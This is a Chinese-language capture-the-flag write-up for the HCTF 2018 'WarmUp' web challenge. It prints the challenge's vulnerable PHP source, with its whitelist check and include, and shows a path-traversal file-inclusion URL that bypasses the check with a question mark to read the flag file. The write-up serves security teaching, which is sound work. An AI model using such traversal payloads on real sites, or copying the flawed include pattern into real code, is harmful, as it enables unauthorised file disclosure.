1. 程式人生 > 其它 >[BUUCTF][Web][HCTF 2018]WarmUp 1

[BUUCTF][Web][HCTF 2018]WarmUp 1

這題已經標識為php 程式碼審計題,那麼需要搞到原始碼才行
開啟靶機對應的url,展示的是一張笑臉圖片
右鍵檢視網頁原始碼
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
這裡顯示存在一個叫 source.php的檔案
嘗試訪問 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了原始碼
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

從原始碼可知,存在一個叫hint.php的檔案,同時可以作為file的引數傳入,構造url

http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php

得到以下回顯,這裡有重要資訊

flag not here, and flag in ffffllllaaaagggg

這裡有個題眼,flag在ffffllllaaaagggg檔案中,現在就需要構造目錄穿越的滲透方式,來或者這個檔案的內容,這裡可以推測肯定是在上幾層的目錄中,否則很難搞定

繼續閱讀原始碼 checkFile 函式,看有沒有什麼方式可以繞過

// 1.
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//2.
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

問題就出現在這一段

1處, 首先將傳入的引數以問號處截斷,然後判斷 ?以前的字串是否在白名單中,如果在就通過。

那麼可以構造一個這樣的url試一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg

如果沒有通過檢查,原始碼可知,一定會報you can't see it

這個url展示一片空白,那麼說明這個套路沒問題,繼續向上加層級嘗試

 最後得到這個url ok:
 http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
 

得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}